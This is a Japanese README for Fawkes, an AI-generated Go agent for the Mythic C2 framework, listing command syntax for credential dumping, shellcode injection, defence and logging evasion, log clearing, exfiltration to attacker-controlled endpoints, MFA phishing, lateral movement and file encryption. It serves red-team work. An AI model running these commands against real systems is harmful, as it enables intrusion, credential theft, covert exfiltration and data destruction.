
Fawkesは、AIのみによって作成されたgolangのMythic C2エージェントです。
# Fawkes Mythic C2 Agent
<img src="https://raw.githubusercontent.com/galoryber/fawkes/HEAD/agent_icons/fawkes.svg" width="100" />
Fawkesは、完全にvibe-codedされたMythic C2エージェントです。最初は「I wonder」から始まり、目標へと変わりました。私の目標は、このエージェントのために1行もコードを書かず、代わりにプロンプトだけで生成することです。
当初は自分でエージェントを書こうと試みましたが、サンプルコンテナをクローンし、Mythicのドキュメントを読み、開発シリーズのYouTubeビデオを視聴し、MerlinやFreyjaなどの他のエージェントからコードをコピーした後、自分自身のエージェントを開発する時間がただ単にないと判断しました。しかし、プロンプトなら時間があります。
Fawkesは、クロスプラットフォーム機能を備えたgolangベースのエージェントです。**Windows** (EXE、DLL、シェルコードペイロード)、**Linux** (ELFバイナリと共有ライブラリ)、**macOS** (IntelおよびApple Silicon用のMach-Oバイナリ) をサポートします。**213のコマンド** 合計: 113のクロスプラットフォーム、82のWindows専用、21のUnix専用、11のLinux専用、6のmacOS専用 (一部のコマンドは、スクリーンショットなど、1つのユーザー向けの名前でプラットフォーム固有の実装を共有しています)。HTTPエグレスおよび内部ピボットのためのTCPピアツーピア (P2P) リンクをサポートします。
## Installation
Fawkesをインストールするには、リモートコンピュータにMythicがインストールされている必要があります。Mythicのインストール手順は、[Mythicプロジェクトページ](https://github.com/its-a-feature/Mythic/)にあります。
Mythicのインストールディレクトリから:```
./mythic-cli install github https://github.com/galoryber/fawkes
```
## コマンドのクイックリファレンスCommand | Syntax | Description
------- | ------ | -----------
acl-edit | `acl-edit -action read -server dc01 -target user` | Active DirectoryオブジェクトのDACLを読み取り・変更(ACEの追加・削除、DCSync、GenericAll、バックアップ・リストアの許可)。クロスプラットフォーム(T1222.001、T1098、T1003.006)。
adcs | `adcs -action <cas\|templates\|find\|request\|auto-exploit> -server <DC> -username <user@domain> -password <pass> [-ca_name <CA>] [-template <name>] [-alt_name <UPN>]` | AD証明書サービスを列挙し、脆弱なテンプレート(ESC1-ESC4、ESC6 via DCOM)を検出、DCOM経由でESC1/ESC6悪用の証明書を要求、または自動悪用(検出→解析→要求チェーン)。クロスプラットフォーム(T1649)。
ads | `ads -action <write\|read\|list\|delete> -file <path> [-stream <name>] [-data <content>] [-hex true]` | **(Windowsのみ)** NTFS代替データストリームを管理 - 隠しデータストリームの書き込み、読み取り、一覧表示、削除。テキストと16進エンコードされたバイナリをサポート。MITRE T1564.004。
amcache | `amcache -action <query\|search\|delete\|clear> [-name <pattern>] [-count <n>]` | フォレンジック実行アーティファクトを照会・クリーンアップ。Windows: Shimcache。Linux: recently-used.xbel、サムネイル、Tracker。macOS: 最近使った項目、KnowledgeC、隔離(T1070.004)。
apc-injection | `apc-injection [-method <apc\|hwbp>] -pid <PID> [-tid <TID>] [-target_api ntdll!NtDelayExecution] [-timeout_ms 30000]` | **(Windowsのみ)** リモートプロセスインジェクション。`-method apc`(デフォルト)はNtQueueApcThreadを使用してシェルコードをアラート可能なスレッドにキューイング(`ts`で検索)。`-method hwbp`はDebugActiveProcessでアタッチし、DR0ハードウェアブレークポイントをターゲットAPI(デフォルト`ntdll!NtDelayExecution`)に設定、ブレークポイント発火時にRipをシェルコードにリダイレクト - TID不要、APCキュー不要、CreateRemoteThread不要(T1055.004、T1055)。
audio-capture | `audio-capture [-duration 10] [-sample_rate 16000] [-channels 1] [-device default]` | マイクから音声を録音し、WAVファイルをアップロード。Windows(waveIn)、Linux(arecord/parecord)、macOS(rec/ffmpeg)。クロスプラットフォーム(T1123)。
auditpol | `auditpol -action <query\|disable\|enable\|stealth> [-category <name\|all>]` | **(Windowsのみ)** Windows監査ポリシーの照会・変更。機密操作の前にセキュリティイベントログを無効化。ステルスモードは検出に重要なサブカテゴリを無効化。AuditQuerySystemPolicy APIを使用(T1562.002)。
argue | `argue -command "cmd.exe /c whoami" -spoof "cmd.exe /c echo hello"` | **(Windowsのみ)** プロセス引数を偽装してコマンドを実行。SysmonイベントID 1やEDRコマンドラインテレメトリを回避(T1564.010)。
arp | `arp [-ip <subnet>]` または `arp -action spoof -target <IP> -gateway <IP>` | ARPテーブルをフィルタリングして表示、またはARPキャッシュポイズニングでMITMポジショニング(T1557.002)。Spoof: Linuxのみ、クリーンアップ時に復元。
asrep-roast | `asrep-roast -server <DC> -username <user@domain> -password <pass> [-account <target>]` | 事前認証なしのアカウントに対してAS-REPチケットを要求し、オフラインクラッキング用にhashcat形式のハッシュを抽出。LDAP経由で自動列挙。クロスプラットフォーム(T1558.004)。
av-detect | `av-detect [-deep true]` | 130以上のシグネチャデータベースで実行中プロセスをスキャンし、インストールされたAV/EDR/セキュリティ製品を検出。`--deep`ではカーネルモジュール、systemdユニット、設定ディレクトリもチェック(インストール済みだが未実行の製品をLinuxで検出)。製品、ベンダー、タイプ、PIDを報告。クロスプラットフォーム。
autopatch | `autopatch <dll_name> <function_name> <num_bytes>` | **(Windowsのみ)** 最も近いリターン(C3)命令にジャンプして関数を自動パッチ。AMSI/ETWバイパスに有用。
base64 | `base64 -action <encode\|decode\|xor\|hex\|hex-decode\|rot13\|url\|url-decode\|caesar> -input <data> [-key <key>] [-shift <N>] [-file true] [-output <path>]` | データエンコーディングツールキット:base64、XOR(文字列/16進キー)、hex、ROT13、URLパーセントエンコーディング、シーザー暗号。すべてファイルI/Oをサポート。クロスプラットフォーム(T1132.001、T1140、T1027)。
bits | `bits -action <list\|create\|persist\|cancel\|suspend\|resume\|complete> [-name <job>] [-url <URL>] [-path <local>] [-command <exe>]` | **(Windowsのみ)** BITS転送ジョブを管理:永続化とステルスファイルダウンロード。ジョブの作成、中断、再開、完了、通知コマンドの設定。ジョブは再起動後も存続(T1197)。
browser | `browser [-action <passwords\|cookies\|history\|autofill\|bookmarks\|downloads>] [-browser <all\|chrome\|edge\|chromium\|firefox>]` | Chromium、Firefox、Safariからブラウザデータを収集。履歴、オートフィル、ブックマーク、ダウンロードはクロスプラットフォーム。パスワード:Chromium(DPAPI/Keychain/GNOME Keyring)、Firefox(key4.db NSS復号)、Safari(macOS Keychain)。Firefoxクッキーは全プラットフォーム。MITRE T1555.003、T1217。
cat | `cat <file>` または `cat -path <file> -start N -end N -number true` | ファイル内容を表示。行範囲、行番号、5MBサイズ保護オプション付き。
cd | `cd <directory>` | 現在のワーキングディレクトリを変更。
chmod | `chmod -path <file> -mode <permissions> [-recursive true]` | ファイル/ディレクトリのパーミッションを変更(8進数755、644または記号 +x、u+rw、go-w)。再帰サポート。クロスプラットフォーム(T1222)。
chown | `chown -path <file> -owner <user> [-group <group>] [-recursive true]` | **(Linux/macOSのみ)** ファイル/ディレクトリの所有者をユーザー名/UIDおよびグループ名/GIDで変更。再帰サポート(T1222)。
cert-check | `cert-check -host <hostname> [-port 443] [-timeout 10]` | リモートホストのTLS証明書を検査 - CA、自己署名証明書、有効期限、SAN、TLSバージョン、暗号スイート、SHA256フィンガープリントを識別。クロスプラットフォーム(T1590.001)。
certstore | `certstore -action <list\|find> [-store <MY\|ROOT\|CA\|Trust\|TrustedPeople>] [-filter <substring>]` | **(Windowsのみ)** Windows証明書ストアを列挙し、コード署名証明書、クライアント認証証明書、秘密鍵を検索。CurrentUserとLocalMachineを検索。MITRE T1552.004、T1649。
clipboard | `clipboard -action <read\|write\|monitor\|dump\|stop> [-data "text"] [-interval 3]` | クリップボードを読み取り・書き込み、または継続的に監視して資格情報パターンを検出。クロスプラットフォーム(T1115)。
cloud-metadata | `cloud-metadata -action <detect\|creds\|storage\|aws-iam\|azure-graph\|gcp-iam\|aws-s3\|azure-blob\|gcp-gcs\|aws-persist\|azure-persist\|aws-ssm\|azure-keyvault\|gcp-secrets\|...> [-provider <auto\|aws\|azure\|gcp\|do>]` | クラウドメタデータ、資格情報抽出、IAM列挙、ストレージ列挙、永続化、シークレットストアアクセス。storage/aws-s3/azure-blob/gcp-gcs:サンプルオブジェクト付きバケット/コンテナ列挙。aws-ssm:SSMパラメータストア(復号付き)。azure-keyvault:マネージドID経由のKey Vaultシークレット。gcp-secrets:サービスアカウント経由のSecret Manager。aws-persist/azure-persist:長期アクセスキー/アプリ登録の作成。自動検出。IMDSv2。クロスプラットフォーム(T1552.005、T1580、T1530、T1098.001)。
compress | `compress -action <create\|list\|extract\|stage\|exfil\|stage-exfil\|exfil-https\|exfil-github> -path <path> [-format zip\|tar.gz] [-output <out>] [-pattern *.txt] [-cleanup true]` | アーカイブの作成、一覧表示、展開、ステージング、または外部送信。ステージはAES-256-GCMで暗号化。ExfilはMythicに転送。exfil-https:S3/Azure/GCSの署名付きURLにチャンクアップロード、カスタムヘッダー、ジッター付きでアップロード。exfil-github:GitHub Contents API経由で外部送信。クロスプラットフォーム(T1560.001、T1074.001、T1041、T1048、T1567、T1567.001)。
coerce | `coerce -server <target> -listener <attacker-ip> [-method petitpotam\|printerbug\|shadowcoerce\|all] -username <user> [-password <pass>] [-hash <NT hash>] [-domain <domain>]` | MS-EFSR(PetitPotam)、MS-RPRN(PrinterBug)、MS-FSRVP(ShadowCoerce)によるNTLM認証強制。ターゲットを攻撃者リスナーに認証させる。パスザハッシュ対応。クロスプラットフォーム(T1187)。
config | `config [-action show\|set\|update] [-key sleep\|jitter\|killdate\|working_hours_start\|working_hours_end\|working_days] [-value <val>] [-file <binary>] [-hash <sha256>]` | ランタイムエージェント設定の表示・変更、またはエージェントバイナリの自己更新。`show`/`set`:スリープ、ジッター、キルデート、稼働時間。`update`:Mythicから新しいペイロードをダウンロード、検証、起動、現在のエージェントを終了。クロスプラットフォーム(T1105)。
container-detect | `container-detect` | コンテナランタイムと環境(Docker、K8s、LXC、Podman、WSL)を検出。DockerソケットやK8sサービスアカウントなどのエスケープベクトルをチェック。クロスプラットフォーム(T1082、T1497.001)。
container-escape | `container-escape -action <check\|docker-sock\|cgroup\|nsenter\|mount-host\|k8s-enum\|k8s-secrets\|k8s-rbac\|k8s-nodes\|k8s-etcd\|k8s-deploy\|k8s-exec> [-command '<cmd>'] [-path <ns>\|<ns1,ns2,...>\|*] [-kubeconfig /path/to/config]` | **(Linuxのみ)** コンテナブレイクアウト+K8s操作 - Dockerソケット、cgroup、nsenter、ホストデバイスマウント。K8s:ポッド/サービスの列挙、シークレットの読み取り、**k8s-rbac**:ClusterRole/RoleBindingのスイープ+権限昇格パススコアリング(crit/warn/info)、**k8s-nodes**:クラスタノード攻撃面(kubelet/OS/カーネル/CIDR/テイント/ロール)、**k8s-etcd**:コントロールプレーンポッド引数からetcdクライアントエンドポイントを発見+エンドポイントごとに認証なしの`/version`プローブ(認証なし読み取り=完全なクラスタ侵害)、API経由でポッドのデプロイ/実行。**クラスタ外**:`-kubeconfig`は盗まれたkubeconfigファイルを受け入れ、非コンテナホストからK8sアクセス(トークン+クライアント証明書認証)(T1611、T1610、T1613、T1552.007、T1069.003、T1087.004)。
cp | `cp <source> <destination>` | ファイルをソースからデスティネーションにコピー。
cred-check | `cred-check [-action check\|verify-all] -hosts <IPs/CIDRs> -username <DOMAIN\user> -password <pass> [-hash <NTLM>] [-timeout <seconds>]` | ターゲットホストに対してSMB、WinRM、LDAPの資格情報をテスト。`verify-all`はすべての保管資格情報を発見されたホストに対して並列テスト。クロスプラットフォーム(T1110.001、T1078)。
cred-harvest | `cred-harvest -action <shadow\|cloud\|configs\|history\|windows\|m365-tokens\|browser-live\|all\|dump-all> [-user <username>]` | 資格情報を収集:シャドウハッシュ(Unix)、クラウド設定(AWS/GCP/Azure/K8s)、アプリケーションシークレット、シェル履歴スキャン(漏洩したパスワード/トークン/APIキー)、PowerShell履歴+環境変数+RDP(Windows)、M365 OAuth/JWTトークン(TokenBroker/Teams/Outlookから)(Windows)、**browser-live**:Chrome DevTools Protocol(CDP)を使用して実行中のChrome/Edgeからライブクッキー、localStorage、sessionStorageを盗む。**dump-all**:自動サブタスクチェーン - hashdump + lsa-secrets + cred-harvestをすべて並列実行(Windows)。クロスプラットフォーム(T1552、T1003.008、T1528、T1539)。
credential-prompt | `credential-prompt [-action dialog\|device-code\|mfa-phish] [-title "Authentication Required"] [-message "Enter your credentials..."] [-icon caution]` | ネイティブ資格情報ダイアログの表示、OAuthデバイスコードフローの悪用、MFAコードのフィッシング。dialog:macOS AppleScript、Windows CredUI、Linux zenity/kdialog。device-code:Azure AD OAuthデバイスコードフローによるトークンキャプチャ。mfa-phish:偽のMFA確認ダイアログでTOTPコードをキャプチャ。クロスプラットフォーム(T1056.002、T1621、T1111)。
curl | `curl -url <URL> [-method GET\|PUT\|POST] [-file <path>] [-upload raw\|multipart] [-headers '{"K":"V"}'] [-body <data>]` | HTTPリクエスト+ファイルアップロード外部送信(T1567)。S3署名付きURL、Azure SAS、汎用エンドポイントにアップロード。クロスプラットフォーム(T1106、T1567.002)。
cut | `cut -path <file> -delimiter <char> -fields <1,3\|1-3\|2-> [-chars <1-10>]` | ファイルの行からフィールドまたは文字範囲を抽出。カスタム区切り文字、範囲指定。クロスプラットフォーム(T1083)。
credman | `credman [-action <list\|dump\|vault>] [-filter <pattern>]` | プラットフォームの資格情報ストアを列挙。Windows:資格情報マネージャー+Vault(CredEnumerateW、vaultcli.dll)。Linux:GNOME Keyring(secret-tool)、KDE KWallet、NetworkManager WiFi/VPNパスワード、GNOME Online Accounts。macOS:キーチェーンアイテム(汎用+インターネットパスワード)、WiFiパスワード。`list`=メタデータ、`dump`=シークレット付き、`vault`=Windowsのみ。MITRE T1555.004、T1555.001。
defender | `defender -action <status\|exclusions\|add-exclusion\|remove-exclusion\|threats\|enable\|disable> [-type <path\|process\|extension>] [-value <val>]` | **(Windowsのみ)** Defenderの管理 - ステータス、除外、脅威、リアルタイム保護の有効化/無効化。MITRE T1562.001。
dpapi | `dpapi -action <decrypt\|masterkeys\|chrome-key> [-blob <base64>] [-entropy <base64>]` | **(Windowsのみ)** DPAPI blob復号(CryptUnprotectData)、マスターキーの列挙、Chrome/Edge暗号化キーの抽出。MITRE T1555.003/T1555.005。
email | `email -action <count\|search\|read\|folders> [-folder <name>] [-query <keyword>] [-index <n>]` | **(Windowsのみ)** COM経由でOutlookメールボックスにアクセス。メッセージ数カウント、キーワード検索、インデックス指定で読み取り、フォルダ一覧。MITRE T1114.001。
dcom | `dcom -action <exec\|upload\|exec-staged\|check> -host <target> -command <cmd> [-args <arguments>] [-object mmc20\|shellwindows\|shellbrowser\|wscript\|excel\|outlook]` | **(Windowsのみ)** DCOMを介してリモートホストでコマンド実行、ファイルアップロード、またはステージ&実行。`check`はRPC/DCOMの前提条件を検証。upload:certutil/PowerShellステージング経由でファイル転送。exec-staged:アップロード後自動クリーンアップ付きで実行。6つのCOMオブジェクト。MITRE T1021.003、T1570。
debug-detect | `debug-detect` | アタッチされたデバッガー、解析ツール、計装を検出。Windows:IsDebuggerPresent、NtQueryInformationProcess、PEB、DRレジスタ。Linux:TracerPid、LD_PRELOAD、メモリマップ(Frida/Valgrind/sanitizers)、VM/サンドボックス、eBPFモニタリング(Falco/Tetragon/Tracee)、auditdフレームワーク、ptraceスコープ。macOS:sysctl P_TRACED、DYLD_INSERT_LIBRARIES、VM検出(sysctl)、セキュリティ製品(EDR/AV)、サンドボックス/解析環境。すべて:デバッガプロセススキャン(T1497.001)。
dcsync | `dcsync [-action sync\|domain-takeover] -server <DC> -username <user> [-password <pass>] [-hash <NT hash>] [-target <account[,account2]>]` | DCSync - LSASSに触れずにDRS経由でAD資格情報を複製。`domain-takeover`はkerberoast + asrep-roast + dcsync krbtgt/Administratorを並列実行。クロスプラットフォーム(T1003.006)。
df | `df [-filesystem <device>] [-mount_point <path>] [-fstype <type>]` | ファイルシステムのディスク使用量を報告(デバイス、マウントポイント、fstypeフィルタリングオプション付き)。クロスプラットフォーム(T1082)。
diff | `diff -file1 <path> -file2 <path> [-context <n>]` | 2つのファイルを比較し、unified diff形式で差分を表示。LCSベースのアルゴリズム、設定可能なコンテキスト行。クロスプラットフォーム(T1083)。
dns | `dns -action <resolve\|reverse\|srv\|mx\|ns\|txt\|cname\|all\|dc\|zone-transfer\|wildcard\|exfil\|doh> -target <host> [-server <dns_ip>]` | DNS列挙 - ホスト解決、レコード照会、DC発見、ゾーン転送、ワイルドカード検出、DNS-over-HTTPSステルス解決、DNS外部送信。クロスプラットフォーム(T1018、T1071.004、T1048.001)。
du | `du -path <file_or_dir> [-max_depth <n>]` | ファイルとディレクトリのディスク使用量を報告。サブディレクトリごとのサイズ内訳、最大サイズ順にソート。クロスプラットフォーム(T1083)。
drivers | `drivers [-filter <name>]` | ロードされたカーネルドライバー/モジュールを列挙。Windows:EnumDeviceDrivers、Linux:/proc/modules、macOS:kext列挙。クロスプラットフォーム(T1082)。
domain-policy | `domain-policy -action <all\|password\|lockout\|fgpp> -server <DC> -username <user@domain> -password <pass>` | ADパスワード/ロックアウトポリシーとFGPPをLDAP経由で列挙。スプレーセーフな推奨事項。クロスプラットフォーム(T1201)。
crontab | `crontab -action <list\|add\|remove> [-entry <cron_line>] [-program <path>] [-schedule <schedule>]` | **(Linux/macOSのみ)** cronジョブの一覧表示、追加、削除(永続化用)。生のcronエントリまたはプログラム+スケジュール構文をサポート。
download | `download <path>` または `download {"path": "/file", "compress": true}` | ターゲットからファイルまたはディレクトリをダウンロード。1MB超のファイルは自動gzip圧縮(設定可能)。ディレクトリは自動zip圧縮。SHA256ハッシュ検証。チャンク転送、ファイルブラウザ統合。
drives | `drives` | 利用可能なドライブ/ボリュームとマウントされたファイルシステムをタイプ、ラベル/デバイス、空き容量/合計容量とともに一覧表示。
enum-tokens | `enum-tokens [-action list\|unique] [-user <filter>]` | **(Windowsのみ)** 全プロセスにわたるアクセストークンを列挙。`list`はプロセスごとにPID/ユーザー/整合性レベル/セッションを表示。`unique`はユーザーごとにグループ化しプロセス数を表示。SeDebugPrivilegeを自動有効化(T1134、T1057)。
encrypt | `encrypt -action <encrypt\|decrypt\|encrypt-files\|decrypt-files\|corrupt\|corrupt-files> -path <file_or_glob> [-key <base64key>] [-confirm SIMULATE\|CORRUPT]` | AES-256-GCM暗号化/復号(T1486)+ターゲットファイル破壊(T1565)。corrupt:ファイルヘッダーをランダムデータで上書き。破壊的操作にはセーフティゲートが必要。
env | `env [-action <list\|get\|set\|unset>] [-name <VAR>] [-value <val>] [-filter <pattern>]` | エージェントプロセスの環境変数を一覧表示、取得、設定、削除。変更は子プロセスに継承される。クロスプラットフォーム。
env-scan | `env-scan [-pid <PID>] [-filter <pattern>]` | プロセス環境変数をスキャンして漏洩した資格情報、APIキー、シークレットを検出。クラウド、データベース、CI/CD、暗号関連の35以上の検出パターン。Linux + macOS(T1057、T1552.001)。
etw | `etw -action <sessions\|rules\|agents\|patch\|restore\|blind-all\|...> [-session_name <name>] [-provider <guid\|shorthand>]` | **(Windows、Linux、macOS)** 監査/テレメトリサブシステム操作。Windows:ETWセッション/プロバイダの停止、ブラインド、ブラインドオール、有効化、パッチ、復元。Linux:auditdルール、journaldクリア/ローテート、syslog設定、SIEMエージェント検出。macOS:統合ログ、セキュリティエージェント検出。(T1562、T1070.002)。
eventlog | `eventlog -action <list\|query\|clear\|info\|enable\|disable> [-channel <name\|unit\|subsystem\|path>] [-event_id <id>] [-filter <xpath\|keyword\|timewindow>] [-count <max>]` | システムイベントログの管理。Windows:wevtapi.dllチャンネル。Linux:journaldユニットとsyslogファイル。macOS:Unified Logging(os_log)サブシステム/プロセス。ソースの一覧表示、イベント照会、ログのクリア/バキューム、情報取得。MITRE T1070.001、T1562.002。
execute-memory | `execute-memory -arguments 'arg1 arg2' -timeout 60` | メモリからネイティブバイナリを実行。Linux:memfd_create(ディスク書き込みなし)。macOS:アドホックコード署名付き一時ファイル。Windows:即時クリーンアップ付き一時ファイル。全プラットフォームで実行後にアーティファクトを削除。MITRE T1620。
execute-shellcode | `execute-shellcode [-technique mmap\|memfd] [-encoding none\|xor\|aes] [-key hex]` | 現在のプロセスでシェルコードを実行。ランタイム復号(T1027)付きのXOR/AES-256-CTRエンコードシェルコードをサポート。Windows:VirtualAlloc + CreateThread。Linux:mmap(デフォルト)またはmemfd_create。macOS:MAP_JIT(ARM64)またはmmap。クロスプラットフォーム(T1059.006、T1620)。
exit | `exit` | エージェントを終了するようタスク。
file-attr | `file-attr -path <file> [-attrs "+hidden,-readonly,+immutable"]` | ファイル属性の取得または設定 - hidden、readonly、system(Windows);immutable、append、nodump(Linux);hidden、immutable(macOS)。-attrsを省略して現在のフラグを表示。クロスプラットフォーム(T1564.001、T1222)。
file-type | `file-type -path <file_or_dir> [-recursive true] [-max_files 100]` | マジックバイト(35以上のシグネチャ)でファイルタイプを識別。単一ファイルまたはディレクトリスキャン。実行ファイル、アーカイブ、ドキュメント、画像、データベース、メディアなどを検出。クロスプラットフォーム(T1083)。
find | `find -pattern <glob> [-path <dir>] [-min_size <bytes>] [-max_size <bytes>] [-newer <min>] [-older <min>] [-type f\|d] [-perm suid\|sgid\|writable\|executable\|<octal>] [-owner <user\|uid>]` | 名前、サイズ、日付、パーミッション、または所有者でファイルを検索。SUIDバイナリ、全ユーザー書き込み可能ファイル、特定ユーザー所有ファイルを検出。クロスプラットフォーム(T1083)。
find-admin | `find-admin -hosts <targets> -username <user> -password <pass> [-method smb\|winrm\|both] [-hash <NT>] [-action scan\|auto-move] [-lateral_method psexec\|wmi] [-lateral_command <cmd>]` | ホストをスイープし、SMB(C$共有)および/またはWinRM経由で資格情報が管理者アクセスを持つ場所を発見。**auto-move**:自動サブタスクチェーン - 管理者ホストを発見後、psexec/wmi経由で各ホストにラテラルムーブ。CIDR、IP範囲、PTH、並列スキャン対応(T1021.002、T1021.006)。
firewall | `firewall -action <list\|add\|delete\|enable\|disable\|status\|pf-add\|pf-delete\|pf-list> [-name <rule>] [-direction <in\|out>] [-protocol <tcp\|udp\|any>] [-port <port>]` | **(Windows、macOS、Linux)** ファイアウォールルールの管理。Windows:COM API。macOS:ALF + pfアンカールール。Linux:iptables/nftables(自動検出)。macOSパケットフィルタリング用のPFアンカーサポート。MITRE T1562.004。
getprivs | `getprivs -action list\|enable\|disable\|strip [-privilege <name>]` | **(Windows、macOS、Linux)** 特権/ケイパビリティの一覧表示。Windows:トークン特権(有効化/無効化/削除)。Linux:プロセスケイパビリティ(CapEff/CapPrm)+SELinux/AppArmorコンテキスト。macOS:エンタイトルメント、サンドボックス、グループ(T1134.002)。
getsystem | `getsystem [-technique steal\|potato\|check\|sudo\|osascript]` | **(Windows、Linux、macOS)** 権限昇格。Windows:トークン窃取またはDCOM potatoでSYSTEMに。Linux:昇格ベクトルのチェック(SUID、sudo、ケイパビリティ、docker)またはsudo昇格の試行。macOS:ベクトルチェック、sudo、またはosascript管理者プロンプト(T1134、T1548)。
gpp-password | `gpp-password -server <DC> -username <user@domain> -password <pass>` | SYSVOLで暗号化されたcpassword属性を持つGPP XMLファイルを検索し、公開AES鍵(MS14-025)を使用して復号。SMB経由でクロスプラットフォーム(T1552.006)。
gpo | `gpo -action <list\|links\|find\|all> -server <DC> -username <user@domain> -password <pass> [-filter <name>]` | LDAP経由でグループポリシーオブジェクトを列挙 - GPOの一覧表示、強制適用付きリンクのマッピング、興味深いCSE設定の検出。クロスプラットフォーム(T1615)。
grep | `grep -pattern <regex> [-path <dir>] [-extensions .txt,.xml] [-ignore_case] [-max_results 100]` | ファイル内容を正規表現パターンで検索。拡張子フィルタリング、コンテキスト行、バイナリファイルスキップ付きの再帰ディレクトリ検索。クロスプラットフォーム(T1083、T1552.001)。
hash | `hash -path <file_or_dir> [-algorithm md5\|sha1\|sha256\|sha512] [-recursive true] [-pattern *.exe] [-max_files 500]` | ファイルハッシュ(MD5、SHA-1、SHA-256、SHA-512)を計算。単一ファイルまたはglobパターンフィルタリングと深さ制御付きディレクトリ。クロスプラットフォーム(T1083)。
hexdump | `hexdump -path <file> [-offset <bytes>] [-length <bytes>]` | ファイル内容をxxd形式のhex+ASCIIで表示。特定領域を調べるためのオフセット/長さ制御、最大4096バイト。クロスプラットフォーム(T1005)。
handles | `handles -pid <pid> [-type File] [-show_names] [-max_count 500]` | **(Windows、Linux、macOS)** プロセスのオープンハンドル/ファイル記述子を列挙。Windows:NtQuerySystemInformation。Linux:/proc/pid/fd。macOS:lsof(T1057、T1082)。
hashdump | `hashdump [-action dump\|insitu\|insitu-full\|tickets\|auto-spray] [-targets <hosts>] [-format json]` | **(Windows、Linux、macOS)** ローカルアカウントパスワードハッシュの抽出。Windows:SAMレジストリからのNTLMハッシュ(SYSTEMが必要);**insitu**:インプロセスLSA API経由でアクティブログオンセッションを列挙(管理者権限が必要);**insitu-full**:PROCESS_VM_READでlsass.exeを開き、lsasrv.dll内のLogonSessionListをシグスキャン、リンクリストを走査、各ノードにKIWI_MSV1_0_LIST_63レイアウトをオーバーレイしてLUID/UserName/Domain/AuthPackage/LogonType/Credentials-pointerを解析、credentials_ptrで各AuthPackageの資格情報チェーンを走査し各KIWI_MSV1_0_PRIMARY_CREDENTIAL_ENCエンベロープをキャプチャ、LsaInitializeProtectedMemory_InternalをシグスキャンしてIV/h3DesKey/hAesKey BCryptキーグローバルと生の16バイトIV/24バイト3DES/32バイトAESキーバイトを回復、各キャプチャされた暗号文ブロブをAES-256-CFB/3DES-CBCで復号(ブロブごとに`len % 8`でアルゴリズム選択)、KIWI_MSV1_0_PRIMARY_CREDENTIAL_10_NEWレイアウトをオーバーレイしてNT/LM/SHAハッシュを抽出 - `username:rid:lm:nt:::`形式で出力(dump-actionのProcessResponse資格情報ボルトフックと互換性あり)(フェーズ2B + 2C-i + 2C-ii-a + 2C-ii-b + 2C-ii-c、Win10 21H2 - Win11 23H2、管理者権限が必要)。Linux:/etc/shadowハッシュ(ハッシュタイプ識別付き)(rootが必要)。macOS:Directory Services PBKDF2ハッシュ(ユーザーplistから)(rootが必要)。**auto-spray**:ハッシュをダンプ後、cred-checkを使用してターゲットホストに自動スプレー。MITRE T1003.002、T1003.008。
history-scrub | `history-scrub [-action list\|clear\|clear-all] [-user <username>]` | シェル/アプリケーションのコマンド履歴ファイルを一覧表示または消去。bash、zsh、fish、PowerShell、python、mysqlなどをカバー。クロスプラットフォーム(T1070.003)。
```
---
[Read more](https://github.com/galoryber/fawkes)